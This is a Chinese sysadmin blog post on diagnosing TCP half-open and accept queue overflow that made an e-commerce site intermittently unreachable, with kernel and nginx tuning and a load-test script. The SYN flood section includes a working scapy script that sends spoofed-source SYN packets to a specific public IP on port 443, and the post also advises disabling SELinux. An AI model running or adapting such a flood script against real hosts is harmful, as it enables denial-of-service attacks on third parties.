0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫(xiě)文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

TCP半連接隊(duì)列和全連接隊(duì)列的可能和出現(xiàn)問(wèn)題和解決方案

馬哥Linux運(yùn)維 ? 來(lái)源:未知 ? 作者:易水寒 ? 2018-05-19 10:52 ? 次閱讀

問(wèn)題描述

監(jiān)控系統(tǒng)發(fā)現(xiàn)電商網(wǎng)站主頁(yè)及其它頁(yè)面間歇性的無(wú)法訪問(wèn);

查看安全防護(hù)和網(wǎng)絡(luò)流量、應(yīng)用系統(tǒng)負(fù)載均正常;

系統(tǒng)重啟后,能夠暫時(shí)解決,但持續(xù)一段時(shí)間后間歇性問(wèn)題再次出現(xiàn)。

此時(shí)問(wèn)題已影響到整個(gè)網(wǎng)站的正常業(yè)務(wù),我那個(gè)心驚呀,最主要是報(bào)警系統(tǒng)沒(méi)有任何報(bào)警,服務(wù)運(yùn)行一切正常,瞬時(shí)背上的汗已經(jīng)出來(lái)了。但還是要靜心,來(lái)仔細(xì)尋找蛛絲馬跡,來(lái)一步一步找問(wèn)題。

問(wèn)題初步判斷

檢查dev 和 網(wǎng)卡設(shè)備層,是否有error和drop ,分析在硬件和系統(tǒng)層是否異常 ----- 命令 cat /proc/net/dev 和 ifconfig

觀察socket overflow 和 socket droped(如果應(yīng)用處理全連接隊(duì)列(accept queue)過(guò)慢 socket overflow,影響半連接隊(duì)列(syn queue)溢出socket dropped)-----命令 netstat -s |grep -i listen

TCP半連接隊(duì)列和全連接隊(duì)列的可能和出現(xiàn)問(wèn)題和解決方案

發(fā)現(xiàn)SYN socket overflow 和 socket droped 急增加

檢查sysctl內(nèi)核參數(shù):backlog ,somaxconn,file-max 和 應(yīng)用程序的backlog ;

ss -lnt查詢,SEND-Q會(huì)取上述參數(shù)的最小值

發(fā)現(xiàn)當(dāng)時(shí)隊(duì)列已經(jīng)超過(guò)網(wǎng)站80端口和443端口默認(rèn)值

檢查 selinux 和 NetworkManager 是否啟用 ,建議禁用;

檢查timestap ,reuse 啟用,內(nèi)核recycle是否啟用,如果過(guò)NAT,禁用recycle;

抓包判斷請(qǐng)求進(jìn)來(lái)后應(yīng)用處理的情況,是否收到SYN未響應(yīng)情況。

深入分析問(wèn)題

正常TCP建連接三次握手過(guò)程:

第一步:客戶端 發(fā)送 syn 到 服務(wù)端發(fā)起握手;

第二步:服務(wù)端 收到 syn后回復(fù)syn+ack給 客戶端;

第三步:客戶端 收到syn+ack后,回復(fù) 服務(wù)端一個(gè)ack表示收到了 服務(wù)端的syn+ack 。

從描述的情況來(lái)看,TCP建連接的時(shí)候全連接隊(duì)列(accept隊(duì)列)滿了,尤其是描述中癥狀為了證明是這個(gè)原因。反復(fù)看了幾次之后發(fā)現(xiàn)這個(gè)overflowed 一直在增加,那么可以明確的是server上全連接隊(duì)列一定溢出了。

接著查看溢出后,OS怎么處理:

# cat /proc/sys/net/ipv4/tcp_abort_on_overflow0

tcp_abort_on_overflow 為0表示如果三次握手第三步的時(shí)候全連接隊(duì)列滿了那么server扔掉client 發(fā)過(guò)來(lái)的ack(在server端認(rèn)為連接還沒(méi)建立起來(lái))

為了證明客戶端應(yīng)用代碼的異常跟全連接隊(duì)列滿有關(guān)系,我先把tcp_abort_on_overflow修改成 1,1表示第三步的時(shí)候如果全連接隊(duì)列滿了,server發(fā)送一個(gè)reset包給client,表示廢掉這個(gè)握手過(guò)程和這個(gè)連接(本來(lái)在server端這個(gè)連接就還沒(méi)建立起來(lái))。

接著測(cè)試然后在web服務(wù)日志中異常中可以看到很多connection reset by peer的錯(cuò)誤,到此證明客戶端錯(cuò)誤是這個(gè)原因?qū)е碌摹?/p>

查看sysctl內(nèi)核參數(shù):backlog ,somaxconn,file-max 和 nginx的backlog配置參數(shù),ss -ln取最小值,發(fā)現(xiàn)為128,此時(shí)resv-q已經(jīng)在129 ,請(qǐng)求被丟棄。將上述參數(shù)修改,并進(jìn)行優(yōu)化:

linux內(nèi)核參進(jìn)行優(yōu)化:net.ipv4.tcp_syncookies = 1net.ipv4.tcp_max_syn_backlog = 16384net.core.somaxconn = 16384

nginx 配置參數(shù)優(yōu)化:backlog=32768;

利用python 多線程壓測(cè),并未發(fā)現(xiàn)新的問(wèn)題:

import requests from bs4 import BeautifulSoupfrom concurrent.futures import ThreadPoolExecutorurl='https://www.wuage.com/'response=requests.get(url)soup=BeautifulSoup(response.text,'html.parser')with ThreadPoolExecutor(20) as ex: for each_a_tag in soup.find_all('a'): try: ex.submit(requests.get,each_a_tag['href']) except Exception as err: print('return error msg:'+str(err))

理解TCP握手過(guò)程中建連接的流程和隊(duì)列

TCP半連接隊(duì)列和全連接隊(duì)列的可能和出現(xiàn)問(wèn)題和解決方案

如上圖所示,這里有兩個(gè)隊(duì)列:syns queue(半連接隊(duì)列);accept queue(全連接隊(duì)列)

三次握手中,在第一步server收到client的syn后,把相關(guān)信息放到半連接隊(duì)列中,同時(shí)回復(fù)syn+ack給client(第二步);

第三步的時(shí)候server收到client的ack,如果這時(shí)全連接隊(duì)列沒(méi)滿,那么從半連接隊(duì)列拿出相關(guān)信息放入到全連接隊(duì)列中,否則按tcp_abort_on_overflow指示的執(zhí)行。

這時(shí)如果全連接隊(duì)列滿了并且tcp_abort_on_overflow是0的話,server過(guò)一段時(shí)間再次發(fā)送syn+ack給client(也就是重新走握手的第二步),如果client超時(shí)等待比較短,就很容易異常了。

sYN Flood洪水攻擊

當(dāng)前最流行的DoS(拒絕服務(wù)攻擊)與DDoS(分布式拒絕服務(wù)攻擊)的方式之一,這是一種利用TCP協(xié)議缺陷,導(dǎo)致被攻擊服務(wù)器保持大量SYN_RECV狀態(tài)的“半連接”,并且會(huì)重試默認(rèn)5次回應(yīng)第二個(gè)握手包,塞滿TCP等待連接隊(duì)列,資源耗盡(CPU滿負(fù)荷或內(nèi)存不足),讓正常的業(yè)務(wù)請(qǐng)求連接不進(jìn)來(lái)。

from concurrent.futures import ThreadPoolExecutorfrom scapy.all import *def synFlood(tgt,dPort): srcList = ['11.1.1.2','22.1.1.102','33.1.1.2', '125.130.5.199'] for sPort in range(1024, 65535): index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags='S') packet = ipLayer/tcpLayer send(packet)tgt = '139.196.251.198'print(tgt)dPort = 443with ThreadPoolExecutor(10000000) as ex: try: ex.submit(synFlood(tgt,dPort)) except Exception as err: print('return error msg:' + str(err))

所以大家要對(duì)TCP半連接隊(duì)列和全連接隊(duì)列的問(wèn)題很容易被忽視,但是又很關(guān)鍵,特別是對(duì)于一些短連接應(yīng)用更容易爆發(fā)。

出現(xiàn)問(wèn)題后,從網(wǎng)絡(luò)流量、cpu、線程、負(fù)載來(lái)看都比較正常,在用戶端來(lái)看rt比較高,但是從服務(wù)器端的日志看rt又很短。如何避免在出現(xiàn)問(wèn)題時(shí)手忙腳亂,建立起應(yīng)急機(jī)機(jī)制,后續(xù)有機(jī)會(huì)寫(xiě)一下應(yīng)急方面的文章。

聲明:本文內(nèi)容及配圖由入駐作者撰寫(xiě)或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • 監(jiān)控系統(tǒng)

    關(guān)注

    21

    文章

    3922

    瀏覽量

    175190
  • TCP
    TCP
    +關(guān)注

    關(guān)注

    8

    文章

    1370

    瀏覽量

    79128
  • 安全防護(hù)
    +關(guān)注

    關(guān)注

    0

    文章

    60

    瀏覽量

    13534

原文標(biāo)題:記一次驚心的網(wǎng)站 TCP 隊(duì)列問(wèn)題排查經(jīng)歷

文章出處:【微信號(hào):magedu-Linux,微信公眾號(hào):馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏

    評(píng)論

    相關(guān)推薦

    FIFO隊(duì)列原理簡(jiǎn)述

    FIFO是隊(duì)列機(jī)制中最簡(jiǎn)單的,每個(gè)接口上只有一個(gè)FIFO隊(duì)列,表面上看FIFO隊(duì)列并沒(méi)有提供什么QoS保證,甚至很多人認(rèn)為FIFO嚴(yán)格意義上不算做一種隊(duì)列技術(shù),實(shí)則不然,F(xiàn)IFO是其它
    發(fā)表于 07-10 09:22 ?1676次閱讀

    Linux TCP隊(duì)列相關(guān)參數(shù)的總結(jié)

    在Linux上做網(wǎng)絡(luò)應(yīng)用的性能優(yōu)化時(shí),一般都會(huì)對(duì)TCP相關(guān)的內(nèi)核參數(shù)進(jìn)行調(diào)節(jié),特別是和緩沖、隊(duì)列有關(guān)的參數(shù)。很多文章會(huì)告訴你需要修改哪些參數(shù),但我們經(jīng)常是知其然而不知其所以然,每次照抄過(guò)來(lái)后,可能很快就忘記或混淆了它們的含義。
    發(fā)表于 10-30 10:12 ?1035次閱讀
    Linux <b class='flag-5'>TCP</b><b class='flag-5'>隊(duì)列</b>相關(guān)參數(shù)的總結(jié)

    TCP隊(duì)列引用問(wèn)題

    labview中如何將隊(duì)列中的TCP網(wǎng)絡(luò)連接讀取出來(lái),我知道是要用元素出隊(duì)列這個(gè)函數(shù),但是不知道在輸出的元素端口后面接什么控件可以將隊(duì)列中的
    發(fā)表于 04-27 16:02

    關(guān)于隊(duì)列的問(wèn)題

    畫(huà)著叉叉的線應(yīng)該連接什么控件才能將隊(duì)列里的TCP網(wǎng)絡(luò)連接輸出呢?
    發(fā)表于 04-27 19:51

    LabVIEW2018 TCP Server 利用隊(duì)列連接多個(gè)客戶端

    TCP Server 端利用隊(duì)列連接多個(gè)客戶端
    發(fā)表于 06-14 22:51

    Agilent TCP隊(duì)列管理

    TCP隊(duì)列管理
    發(fā)表于 10-31 09:08

    labview隊(duì)列 出現(xiàn)隊(duì)列或者出隊(duì)列問(wèn)題

    最近在labview操作中出現(xiàn)了一個(gè)隊(duì)列操作的問(wèn)題,一入隊(duì)列就出錯(cuò),憋了好幾天,今天終于解決了。首先,介紹一下我的程序。如圖1,一個(gè)while循環(huán)加一個(gè)條件選擇框,用main queue和Q3這兩個(gè)
    發(fā)表于 03-26 17:29

    RTOS消息隊(duì)列的多種用途

      消息隊(duì)列可以以多種不同的方式使用。事實(shí)上,您可以編寫(xiě)可能只使用消息隊(duì)列的相當(dāng)復(fù)雜的應(yīng)用程序。僅使用消息隊(duì)列可以減少代碼的大?。凑加每臻g),因?yàn)榭梢阅M許多其他服務(wù)(信號(hào)量、時(shí)間延
    的頭像 發(fā)表于 06-29 14:57 ?2567次閱讀
    RTOS消息<b class='flag-5'>隊(duì)列</b>的多種用途

    沒(méi)有accept,能建立TCP連接嗎?

    服務(wù)端代碼,對(duì)socket執(zhí)行bind方法可以綁定監(jiān)聽(tīng)端口,然后執(zhí)行l(wèi)isten方法后,就會(huì)進(jìn)入監(jiān)聽(tīng)(LISTEN)狀態(tài)。內(nèi)核會(huì)為每一個(gè)處于LISTEN狀態(tài)的socket 分配兩個(gè)隊(duì)列,分別叫連接
    的頭像 發(fā)表于 08-05 10:37 ?830次閱讀

    SystemVerilog中的隊(duì)列

    隊(duì)列是大小可變的有序集合,隊(duì)列中元素必須是同一個(gè)類型的。隊(duì)列支持對(duì)其所有元素的訪問(wèn)以及在隊(duì)列的開(kāi)始或結(jié)束處插入和刪除。
    的頭像 發(fā)表于 10-31 10:09 ?4063次閱讀

    什么是消息隊(duì)列?消息隊(duì)列中間件重要嗎?

    應(yīng)用解耦:消息隊(duì)列減少了服務(wù)之間的耦合性,不同的服務(wù)可以通過(guò)消息隊(duì)列進(jìn)行通信,而不用關(guān)心彼此的實(shí)現(xiàn)細(xì)節(jié)。
    的頭像 發(fā)表于 11-07 14:55 ?1433次閱讀

    嵌入式環(huán)形隊(duì)列和消息隊(duì)列的實(shí)現(xiàn)

    嵌入式環(huán)形隊(duì)列和消息隊(duì)列是實(shí)現(xiàn)數(shù)據(jù)緩存和通信的常見(jiàn)數(shù)據(jù)結(jié)構(gòu),廣泛應(yīng)用于嵌入式系統(tǒng)中的通信協(xié)議和領(lǐng)域。
    的頭像 發(fā)表于 04-14 11:52 ?1570次閱讀

    RTOS消息隊(duì)列的應(yīng)用

    基于RTOS的應(yīng)用中,通常使用隊(duì)列機(jī)制實(shí)現(xiàn)任務(wù)間的數(shù)據(jù)交互,一個(gè)應(yīng)用程序可以有任意數(shù)量的消息隊(duì)列,每個(gè)消息隊(duì)列都有自己的用途。
    發(fā)表于 05-29 10:49 ?639次閱讀
    RTOS消息<b class='flag-5'>隊(duì)列</b>的應(yīng)用

    FreeRTOS消息隊(duì)列介紹

    隊(duì)列是為了任務(wù)與任務(wù)、任務(wù)與中斷之間的通信而準(zhǔn)備的,可以在任務(wù)與任務(wù)、任務(wù)與中斷之間傳遞消息,隊(duì)列中可以存儲(chǔ)有限的、大小固定的數(shù)據(jù)項(xiàng)目。任務(wù)與任務(wù)、任務(wù)與中斷之間要交流的數(shù)據(jù)保存在隊(duì)列中,叫做
    的頭像 發(fā)表于 07-06 16:58 ?819次閱讀
    FreeRTOS消息<b class='flag-5'>隊(duì)列</b>介紹

    嵌入式環(huán)形隊(duì)列與消息隊(duì)列的實(shí)現(xiàn)原理

    嵌入式環(huán)形隊(duì)列,也稱為環(huán)形緩沖區(qū)或循環(huán)隊(duì)列,是一種先進(jìn)先出(FIFO)的數(shù)據(jù)結(jié)構(gòu),用于在固定大小的存儲(chǔ)區(qū)域中高效地存儲(chǔ)和訪問(wèn)數(shù)據(jù)。其主要特點(diǎn)包括固定大小的數(shù)組和兩個(gè)指針(頭指針和尾指針),分別指向隊(duì)列的起始位置和結(jié)束位置。
    的頭像 發(fā)表于 09-02 15:29 ?562次閱讀